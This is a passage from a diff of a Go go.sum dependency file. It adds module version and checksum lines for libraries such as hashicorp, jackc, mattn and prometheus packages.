h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= +github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= +github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= +github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= +github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= +github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= +github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= +github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= +github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= @@ -236,6 +934,7 @@ github.com/influxdata/influxdb-client-go/v2 v2.12.3 h1:28nRlNMRIV4QbtIUvxhWqaxn0 github.com/influxdata/influxdb-client-go/v2 v2.12.3/go.mod h1:IrrLUbCjjfkmRuaCiGQg4m2GbkaeJDcuWoxiWdQEbA0= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= +github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= @@ -256,6 +955,7 @@ github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5W github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= @@ -288,6 +988,7 @@ github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= @@ -296,9 +997,15 @@ github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/X github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= +github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -306,11 +1013,15 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= github.com/labstack/echo/v4 v4.2.1/go.mod h1:AA49e0DZ8kk5jTOOCKNuPR6oTnBS0dYiM4FW1e6jwpg= github.com/labstack/gommon v0.3.0/go.mod h1:MULnywXg0yavhxWKc+lOruYdAhDwPK9wf0OL7NoOu+k= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= @@ -319,6 +1030,9 @@ github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= @@ -326,40 +1040,57 @@ github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3v github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/mailru/easyjson v0.0.0-20190626092158-b2ccc519800e/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc= github.com/matryer/moq v0.0.0-20190312154309-6cfb0558e1bd/go.mod h1:9ELz6aaclSIGnZBoaSLZ3NAl1VTufbOrXBPvtcy6WiQ= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.7/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.12 h1:jF+Du6AlPIjs2BiUiQlKOX0rt3SujHxPnksPKZbaA40= github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.9/go.mod h1:YNRxwqDuOph6SZLI9vUUz6OYw3QyUt7WiY2yME+cCiQ= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= +github.com/mattn/go-isatty v0.0.16 h1:bq3VjFmv/sOjHtdEhmkEV4x1AJtvUvOJ2PFAZ5+peKQ= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= +github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= +github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -386,6 +1117,8 @@ github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= @@ -396,6 +1129,11 @@ github.com/pelletier/go-toml/v2 v2.0.6 h1:nrzqCb7j9cDFj2coyLNLaZuJTLjWjlaz6nvTvI github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= +github.com/phpdave11/gofpdf v1.4.2/go.mod h1:zpO6xFn9yxo3YLyMvW8HcKWVdbNqgIfOOp2dXMnm1mY= +github.com/phpdave11/gofpdi v1.0.12/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/phpdave11/gofpdi v1.0.13/go.mod h1:vBmVV0Do6hSBHC8uKUQ71JGW+ZGQq74llk/7bXwjDoI= +github.com/pierrec/lz4/v4 v4.1.15/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4= +github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= @@ -404,11 +1142,15 @@ github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZ github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= +github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= +github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= +github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= @@ -416,9 +1158,12 @@ github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1: github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= +github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= +github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= +github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= @@ -426,6 +1171,7 @@ github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+ github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= 